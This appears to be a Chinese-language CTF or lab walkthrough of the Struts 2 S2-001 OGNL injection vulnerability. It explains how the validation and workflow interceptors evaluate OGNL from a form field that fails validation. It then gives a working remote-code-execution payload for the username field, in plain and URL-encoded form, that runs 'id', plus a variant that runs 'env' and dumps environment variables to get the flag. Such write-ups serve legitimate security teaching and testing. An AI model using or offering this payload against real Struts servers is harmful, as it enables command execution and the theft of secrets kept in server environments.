漏洞原理
Struts 2 框架的表单验证机制( Validation )主要依赖于两个拦截器:validation 和 workflow。validation 拦截器工作时,会根据 XML 配置文件来创建一个验证错误列表;workflow 拦截器工作时,会根据 validation 拦截器所提供的验证错误列表,来检查当前所提交的表单是否存在验证错误。
在默认配置下,如果 workflow 拦截器检测到用户所提交的表单存在任何一个验证错误,workflow 拦截器都会将用户的输入进行解析处理,随即返回并显示处理结果。
Struts 2 框架中的一个标签处理功能: altSyntax
altSyntax 功能是 Struts 2 框架用于处理标签内容的一种新语法(不同于普通的 HTML ),该功能主要作用在于支持对标签中的 OGNL 表达式进行解析并执行。
altSyntax 功能在处理标签时,对 OGNL 表达式的解析能力实际上是依赖于开源组件 XWork。
于是,在 XWork 组件版本小于 2.0.4 以及 altSyntax 功能开启的情况下,恶意攻击者可以通过提交一个带有 OGNL 表达式的表单请求,故意触发表单验证错误——最终该表单请求中恶意的 OGNL 表达式会被 XWork 组件解析并执行,随即由 workflow 拦截器返回执行结果。
漏洞利用
随便输入用户名密码进行抓包
poc
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“id”})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
username放入poc,在利用的时候要url编码
%25%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%22id%22%7d)).redirectErrorStream(true).start()%2c%23b%3d%23a.getInputStream()%2c%23c%3dnew+java.io.InputStreamReader(%23b)%2c%23d%3dnew+java.io.BufferedReader(%23c)%2c%23e%3dnew+char%5b50000%5d%2c%23d.read(%23e)%2c%23f%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2c%23f.getWriter().println(new+java.lang.String(%23e))%2c%23f.getWriter().flush()%2c%23f.getWriter().close()%7d
%25%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%22env%22%7d)).redirectErrorStream(true).start()%2c%23b%3d%23a.getInputStream()%2c%23c%3dnew+java.io.InputStreamReader(%23b)%2c%23d%3dnew+java.io.BufferedReader(%23c)%2c%23e%3dnew+char%5b50000%5d%2c%23d.read(%23e)%2c%23f%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2c%23f.getWriter().println(new+java.lang.String(%23e))%2c%23f.getWriter().flush()%2c%23f.getWriter().close()%7d
打印环境变量拿到flag